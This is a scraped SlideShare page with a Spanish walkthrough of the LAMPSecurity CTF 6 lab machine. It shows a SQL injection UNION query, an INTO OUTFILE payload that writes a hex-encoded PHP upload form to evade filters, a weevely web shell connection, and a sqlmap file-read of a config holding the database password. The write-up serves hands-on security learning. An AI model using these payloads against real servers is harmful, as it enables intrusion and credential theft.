SlideShare una empresa de Scribd logo
1 de 11
Descargar para leer sin conexión
LAMPSecurity:CTF 6 Challenge



                   [Q]3rV[0]
Una vez descargada la imagen virtual me dispongo a correrla con virtual-
box.
Realizo un sondeo de ping, para descrubrir el/los host activos en la red
192.168.1.0/24




Una vez descubierta la direccion ip de la maquina virtual 192.168.1.33,
procedo a realizar un analisis de puertos, servicios y del sistema operativo.
Mi analisis de intrucion, se centro en la aplicacion web, ademas de indagar
por varios lados, aproveche una vulnerabilidad de sql injection para
inyectar codigo php en el servidor y obtener acceso.
Se encuentra el siguiente parametro vulnerable a sqli
http://192.168.1.33/index.php?id=1
Busco informacion del usuario que corre la db, asi como la version y
nombre de la misma
http://192.168.1.33/index.php?id=1+union+select+1,2,concat(database(),
0x3a, user(), 0x3a, version()),4,5,6,7--
Busco informacion sobre los privilegios que posee el usuario
cms_user@localhost usando la herramienta sqlmap, y me encuentro con la
sorpresa de que el usuario corre como administrador, ademas de poseer
potenciales permisos como FILE.
                                  Habiendo obtenido este tipo de
                                  informacion, se me ocurre utilizar la
                                  funcion 'INTO OUTFILE' para inyectar
                                  un upload en la aplicaccion web, pero
                                  primero realizo una exhaustiva
                                  busqueda de directorios en la zona
                                  publica, para probar con varios de
                                  ellos hasta encontrar permisos de
                                  escritura para el usuario cms_user.
                                  finalmente logro escribir dentro de
                                  http://192.168.1.33/phpMyAdmin-3.0.0-
                                  all-languages/config/
Logrando inyectar la siguiente sentencia:

192.168.1.33/index.php?id=1+union+select+1,2,3,4,5,6,7+into+outfile+'/var/www/html/phpMyAdmin-3.0.0-all-
languages/config/upload.php'+lines+terminated+by+0x273c3f706870206563686f20273c623e3c62723e3c62723e272
e7068705f756e616d6528292e273c62723e3c2f623e273b206563686f20273c666f726d20616374696f6e3d2222206d657
4686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122206e616d653d22757
06c6f61646572222069643d2275706c6f61646572223e273b206563686f20273c696e70757420747970653d2266696c652
2206e616d653d2266696c65222073697a653d223530223e3c696e707574206e616d653d225f75706c2220747970653d22
7375626d6974222069643d225f75706c222076616c75653d2255706c6f6164223e3c2f666f726d3e273b2069662820245f
504f53545b275f75706c275d203d3d202255706c6f6164222029207b202069662840636f707928245f46494c45535b2766
696c65275d5b27746d705f6e616d65275d2c20245f46494c45535b2766696c65275d5b276e616d65275d2929207b20656
3686f20273c623e63726564697473203a207777772e646576696c73636166652e696e3c2f623e3c62723e3c62723e273b2
07d2020656c7365207b206563686f20273c623e55706c6f616420537563657373202121213c2f623e3c62723e3c62723e2
73b207d207d203f3e27--

El codigo del upload, fue encodeado en ascii hex para evadir filtros.
El resultado es el siguiente, logrando crear el fichero 'upload.php' en el
directorio /var/www/html/phpMyAdmin-3.0.0-all-languages/config/
Genero una shell con weevely y la subo al servidor por medio del upload
que acabo de inyectar.
Conectamos con ./weevely.py http://192.168.1.33/phpMyAdmin-3.0.0-all-
languages/config/q3rv0.php q3rv0
Ahora ya tengo acceso en el servidor como el usuario apache, solo queda
elevar privilegios.
La verdad es que me parecio un servidor bastante abierto en cuanto a
posibilidades de imaginar diversas tecnicas de intrusion, tambien
aprovechando la vulnerabilidad sqli, se podria leer el fichero index.php en
/var/www/html/ para obtener el passwd de la db.




Si miramos bien en el fichero, vemos que el password en texto plano lo
provee el archivo /conf/config.ini el cual es llamado a travez de la variable
$configs, entonces buscamos dicho archivo.
./sqlmap.py -u 192.168.1.33/index.php?id=1 --file-
read=/var/www/html/conf/config.ini
Y ahora nos podemos secuestrar el phpmyadmin para subir alguna shell.

Más contenido relacionado

La actualidad más candente

Sesion Nº 03 Tecnologias Web I Instalación Y Configuración Del Servidor A...
Sesion Nº 03   Tecnologias Web I   Instalación Y Configuración Del Servidor A...Sesion Nº 03   Tecnologias Web I   Instalación Y Configuración Del Servidor A...
Sesion Nº 03 Tecnologias Web I Instalación Y Configuración Del Servidor A...Edgar A. Cruz Huaman
 
Slony i
Slony iSlony i
Slony imao87t
 
Instalación de JPIVOT en WINDOWS 7 (Joel Visurraga)
Instalación de JPIVOT en WINDOWS 7 (Joel Visurraga)Instalación de JPIVOT en WINDOWS 7 (Joel Visurraga)
Instalación de JPIVOT en WINDOWS 7 (Joel Visurraga)JOEL MARTIN VISURRAGA AGUERO
 
Manual php y_mysql
Manual php y_mysqlManual php y_mysql
Manual php y_mysqljohan reyes
 
Introducción a Servidor HTTP Apache
Introducción a Servidor HTTP ApacheIntroducción a Servidor HTTP Apache
Introducción a Servidor HTTP ApacheIker Canarias
 
Php01 instalacion de apache y php en linux
Php01 instalacion de apache y php en linuxPhp01 instalacion de apache y php en linux
Php01 instalacion de apache y php en linuxJulio Pari
 

La actualidad más candente (12)

Sesion Nº 03 Tecnologias Web I Instalación Y Configuración Del Servidor A...
Sesion Nº 03   Tecnologias Web I   Instalación Y Configuración Del Servidor A...Sesion Nº 03   Tecnologias Web I   Instalación Y Configuración Del Servidor A...
Sesion Nº 03 Tecnologias Web I Instalación Y Configuración Del Servidor A...
 
Composer
ComposerComposer
Composer
 
MANUAL POO
MANUAL POOMANUAL POO
MANUAL POO
 
Slony i
Slony iSlony i
Slony i
 
Instalación de JPIVOT en WINDOWS 7 (Joel Visurraga)
Instalación de JPIVOT en WINDOWS 7 (Joel Visurraga)Instalación de JPIVOT en WINDOWS 7 (Joel Visurraga)
Instalación de JPIVOT en WINDOWS 7 (Joel Visurraga)
 
Manual php y_mysql
Manual php y_mysqlManual php y_mysql
Manual php y_mysql
 
Primeros pasos con Docker
Primeros pasos con DockerPrimeros pasos con Docker
Primeros pasos con Docker
 
6 la shell bash
6 la shell bash6 la shell bash
6 la shell bash
 
Introducción a Servidor HTTP Apache
Introducción a Servidor HTTP ApacheIntroducción a Servidor HTTP Apache
Introducción a Servidor HTTP Apache
 
As400web server
As400web serverAs400web server
As400web server
 
Php01 instalacion de apache y php en linux
Php01 instalacion de apache y php en linuxPhp01 instalacion de apache y php en linux
Php01 instalacion de apache y php en linux
 
Presentation OWASP Day @ FIUBA.AR
Presentation OWASP Day @ FIUBA.ARPresentation OWASP Day @ FIUBA.AR
Presentation OWASP Day @ FIUBA.AR
 

Similar a reto-by-q3rv0

Cuckoosandbox
CuckoosandboxCuckoosandbox
CuckoosandboxTensor
 
Cuckoo sandbox
Cuckoo sandboxCuckoo sandbox
Cuckoo sandboxTensor
 
Cuckoo sandbox
Cuckoo sandboxCuckoo sandbox
Cuckoo sandboxTensor
 
Php Bitter Sweet Symfony!
Php Bitter Sweet Symfony!Php Bitter Sweet Symfony!
Php Bitter Sweet Symfony!Ricard Luquero
 
Tutorial CodeIgniter + Netbeans 7
Tutorial CodeIgniter + Netbeans 7Tutorial CodeIgniter + Netbeans 7
Tutorial CodeIgniter + Netbeans 7Juan Fede
 
Proyecto 6 lucas vieira
Proyecto 6 lucas vieiraProyecto 6 lucas vieira
Proyecto 6 lucas vieiraLukinhaLA
 
INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR SSH, PUTTY, APACHE Y MYSQL EN CENT...
INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR SSH, PUTTY, APACHE Y MYSQL EN CENT...INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR SSH, PUTTY, APACHE Y MYSQL EN CENT...
INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR SSH, PUTTY, APACHE Y MYSQL EN CENT...Franklin Ramos
 
William fabricio manual de sistemas sas
William fabricio manual de sistemas sasWilliam fabricio manual de sistemas sas
William fabricio manual de sistemas sasRafael Toro
 
Backdoor via inyeccion
Backdoor via inyeccionBackdoor via inyeccion
Backdoor via inyeccionq3rv0
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesNextel S.A.
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesPablo Garaizar
 
Ataque inyeccion sql
Ataque inyeccion sqlAtaque inyeccion sql
Ataque inyeccion sqlDaniel L.
 
Airbase y KARMetasploit
Airbase y KARMetasploitAirbase y KARMetasploit
Airbase y KARMetasploitDaniel
 
Webinar Gratuito "OWASP WebScarab"
Webinar Gratuito "OWASP WebScarab"Webinar Gratuito "OWASP WebScarab"
Webinar Gratuito "OWASP WebScarab"Alonso Caballero
 
Actividad4 manual usuarrio _victor jaimes
Actividad4 manual usuarrio _victor jaimesActividad4 manual usuarrio _victor jaimes
Actividad4 manual usuarrio _victor jaimesVictor Jaimes
 

Similar a reto-by-q3rv0 (20)

Cuckoosandbox
CuckoosandboxCuckoosandbox
Cuckoosandbox
 
Present3
Present3Present3
Present3
 
Cuckoo sandbox
Cuckoo sandboxCuckoo sandbox
Cuckoo sandbox
 
Cuckoo sandbox
Cuckoo sandboxCuckoo sandbox
Cuckoo sandbox
 
Php Bitter Sweet Symfony!
Php Bitter Sweet Symfony!Php Bitter Sweet Symfony!
Php Bitter Sweet Symfony!
 
Tutorial CodeIgniter + Netbeans 7
Tutorial CodeIgniter + Netbeans 7Tutorial CodeIgniter + Netbeans 7
Tutorial CodeIgniter + Netbeans 7
 
Proyecto 6 lucas vieira
Proyecto 6 lucas vieiraProyecto 6 lucas vieira
Proyecto 6 lucas vieira
 
INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR SSH, PUTTY, APACHE Y MYSQL EN CENT...
INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR SSH, PUTTY, APACHE Y MYSQL EN CENT...INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR SSH, PUTTY, APACHE Y MYSQL EN CENT...
INSTALACIÓN Y CONFIGURACIÓN DE UN SERVIDOR SSH, PUTTY, APACHE Y MYSQL EN CENT...
 
William fabricio manual de sistemas sas
William fabricio manual de sistemas sasWilliam fabricio manual de sistemas sas
William fabricio manual de sistemas sas
 
Redes Sociales Libres
Redes Sociales LibresRedes Sociales Libres
Redes Sociales Libres
 
Cherokee
CherokeeCherokee
Cherokee
 
Linux
LinuxLinux
Linux
 
Backdoor via inyeccion
Backdoor via inyeccionBackdoor via inyeccion
Backdoor via inyeccion
 
S8-DS2.pptx
S8-DS2.pptxS8-DS2.pptx
S8-DS2.pptx
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
Ataque inyeccion sql
Ataque inyeccion sqlAtaque inyeccion sql
Ataque inyeccion sql
 
Airbase y KARMetasploit
Airbase y KARMetasploitAirbase y KARMetasploit
Airbase y KARMetasploit
 
Webinar Gratuito "OWASP WebScarab"
Webinar Gratuito "OWASP WebScarab"Webinar Gratuito "OWASP WebScarab"
Webinar Gratuito "OWASP WebScarab"
 
Actividad4 manual usuarrio _victor jaimes
Actividad4 manual usuarrio _victor jaimesActividad4 manual usuarrio _victor jaimes
Actividad4 manual usuarrio _victor jaimes
 

reto-by-q3rv0

  • 2. Una vez descargada la imagen virtual me dispongo a correrla con virtual- box.
  • 3. Realizo un sondeo de ping, para descrubrir el/los host activos en la red 192.168.1.0/24 Una vez descubierta la direccion ip de la maquina virtual 192.168.1.33, procedo a realizar un analisis de puertos, servicios y del sistema operativo.
  • 4. Mi analisis de intrucion, se centro en la aplicacion web, ademas de indagar por varios lados, aproveche una vulnerabilidad de sql injection para inyectar codigo php en el servidor y obtener acceso. Se encuentra el siguiente parametro vulnerable a sqli http://192.168.1.33/index.php?id=1 Busco informacion del usuario que corre la db, asi como la version y nombre de la misma http://192.168.1.33/index.php?id=1+union+select+1,2,concat(database(), 0x3a, user(), 0x3a, version()),4,5,6,7--
  • 5. Busco informacion sobre los privilegios que posee el usuario cms_user@localhost usando la herramienta sqlmap, y me encuentro con la sorpresa de que el usuario corre como administrador, ademas de poseer potenciales permisos como FILE. Habiendo obtenido este tipo de informacion, se me ocurre utilizar la funcion 'INTO OUTFILE' para inyectar un upload en la aplicaccion web, pero primero realizo una exhaustiva busqueda de directorios en la zona publica, para probar con varios de ellos hasta encontrar permisos de escritura para el usuario cms_user. finalmente logro escribir dentro de http://192.168.1.33/phpMyAdmin-3.0.0- all-languages/config/
  • 6. Logrando inyectar la siguiente sentencia: 192.168.1.33/index.php?id=1+union+select+1,2,3,4,5,6,7+into+outfile+'/var/www/html/phpMyAdmin-3.0.0-all- languages/config/upload.php'+lines+terminated+by+0x273c3f706870206563686f20273c623e3c62723e3c62723e272 e7068705f756e616d6528292e273c62723e3c2f623e273b206563686f20273c666f726d20616374696f6e3d2222206d657 4686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122206e616d653d22757 06c6f61646572222069643d2275706c6f61646572223e273b206563686f20273c696e70757420747970653d2266696c652 2206e616d653d2266696c65222073697a653d223530223e3c696e707574206e616d653d225f75706c2220747970653d22 7375626d6974222069643d225f75706c222076616c75653d2255706c6f6164223e3c2f666f726d3e273b2069662820245f 504f53545b275f75706c275d203d3d202255706c6f6164222029207b202069662840636f707928245f46494c45535b2766 696c65275d5b27746d705f6e616d65275d2c20245f46494c45535b2766696c65275d5b276e616d65275d2929207b20656 3686f20273c623e63726564697473203a207777772e646576696c73636166652e696e3c2f623e3c62723e3c62723e273b2 07d2020656c7365207b206563686f20273c623e55706c6f616420537563657373202121213c2f623e3c62723e3c62723e2 73b207d207d203f3e27-- El codigo del upload, fue encodeado en ascii hex para evadir filtros.
  • 7. El resultado es el siguiente, logrando crear el fichero 'upload.php' en el directorio /var/www/html/phpMyAdmin-3.0.0-all-languages/config/
  • 8. Genero una shell con weevely y la subo al servidor por medio del upload que acabo de inyectar.
  • 9. Conectamos con ./weevely.py http://192.168.1.33/phpMyAdmin-3.0.0-all- languages/config/q3rv0.php q3rv0 Ahora ya tengo acceso en el servidor como el usuario apache, solo queda elevar privilegios.
  • 10. La verdad es que me parecio un servidor bastante abierto en cuanto a posibilidades de imaginar diversas tecnicas de intrusion, tambien aprovechando la vulnerabilidad sqli, se podria leer el fichero index.php en /var/www/html/ para obtener el passwd de la db. Si miramos bien en el fichero, vemos que el password en texto plano lo provee el archivo /conf/config.ini el cual es llamado a travez de la variable $configs, entonces buscamos dicho archivo. ./sqlmap.py -u 192.168.1.33/index.php?id=1 --file- read=/var/www/html/conf/config.ini
  • 11. Y ahora nos podemos secuestrar el phpmyadmin para subir alguna shell.